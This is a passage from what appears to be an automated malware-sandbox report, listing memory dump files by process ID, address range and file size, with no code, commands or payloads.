                                                              • memory/2000-54-0x00007FFD401B0000-0x00007FFD401DD000-memory.dmp

                                                                Filesize

                                                                180KB

                                                              • memory/2000-234-0x00007FFD30910000-0x00007FFD309DD000-memory.dmp

                                                                Filesize

                                                                820KB

                                                              • memory/2000-244-0x0000018F35820000-0x0000018F35D42000-memory.dmp

                                                                Filesize

                                                                5.1MB

                                                              • memory/2000-81-0x00007FFD3CD20000-0x00007FFD3CD34000-memory.dmp

                                                                Filesize

                                                                80KB

                                                              • memory/2000-56-0x00007FFD40190000-0x00007FFD401A9000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2000-60-0x00007FFD309E0000-0x00007FFD30B56000-memory.dmp

                                                                Filesize

                                                                1.5MB

                                                              • memory/2000-266-0x00007FFD303E0000-0x00007FFD30902000-memory.dmp

                                                                Filesize

                                                                5.1MB

                                                              • memory/2000-249-0x00007FFD3FF50000-0x00007FFD3FF83000-memory.dmp

                                                                Filesize

                                                                204KB

                                                              • memory/2000-79-0x00007FFD2FD00000-0x00007FFD2FE1C000-memory.dmp

                                                                Filesize

                                                                1.1MB

                                                              • memory/2000-78-0x00007FFD40180000-0x00007FFD4018D000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2000-58-0x00007FFD3FFD0000-0x00007FFD3FFF3000-memory.dmp

                                                                Filesize

                                                                140KB

                                                              • memory/2000-70-0x00007FFD30910000-0x00007FFD309DD000-memory.dmp

                                                                Filesize

                                                                820KB

                                                              • memory/2000-67-0x00007FFD3FF50000-0x00007FFD3FF83000-memory.dmp

                                                                Filesize

                                                                204KB

                                                              • memory/2000-65-0x00007FFD404E0000-0x00007FFD404ED000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2000-74-0x0000018F35820000-0x0000018F35D42000-memory.dmp

                                                                Filesize

                                                                5.1MB

                                                              • memory/2000-297-0x00007FFD401B0000-0x00007FFD401DD000-memory.dmp

                                                                Filesize

                                                                180KB

                                                              • memory/3096-232-0x00007FFD2EF70000-0x00007FFD2FA31000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/3096-230-0x000002034D440000-0x000002034D450000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/3096-229-0x000002034D440000-0x000002034D450000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/3096-228-0x00007FFD2EF70000-0x00007FFD2FA31000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/3404-126-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/3404-133-0x00000251A06E0000-0x00000251A06F0000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/3404-157-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/3748-109-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/3748-110-0x000001DC27BD0000-0x000001DC27BE0000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/3748-181-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/3916-317-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-316-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-319-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-320-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-321-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-311-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-315-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-310-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-318-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3916-309-0x00000270E5830000-0x00000270E5831000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/4260-120-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/4260-132-0x00000139F37C0000-0x00000139F37D0000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/4260-165-0x00000139DB550000-0x00000139DB558000-memory.dmp

                                                                Filesize

                                                                32KB

                                                              • memory/4260-128-0x00000139F37C0000-0x00000139F37D0000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/4260-182-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/4352-247-0x0000026A32D70000-0x0000026A32D80000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/4352-252-0x00007FFD2EF70000-0x00007FFD2FA31000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/4352-246-0x00007FFD2EF70000-0x00007FFD2FA31000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/4352-248-0x0000026A32D70000-0x0000026A32D80000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/4856-147-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/4856-83-0x00007FFD2F1D0000-0x00007FFD2FC91000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/4856-84-0x000001B371A80000-0x000001B371A90000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/4856-92-0x000001B371A50000-0x000001B371A72000-memory.dmp

                                                                Filesize

                                                                136KB

                                                              • memory/4856-85-0x000001B371A80000-0x000001B371A90000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/5100-293-0x00007FFD2EF70000-0x00007FFD2FA31000-memory.dmp

                                                                Filesize

                                                                10.8MB

                                                              • memory/5100-290-0x000002341F0A0000-0x000002341F0B0000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/5100-291-0x000002341F0A0000-0x000002341F0B0000-memory.dmp

                                                                Filesize

                                                                64KB

                                                              • memory/5100-289-0x00007FFD2EF70000-0x00007FFD2FA31000-memory.dmp

                                                                Filesize

                                                                10.8MB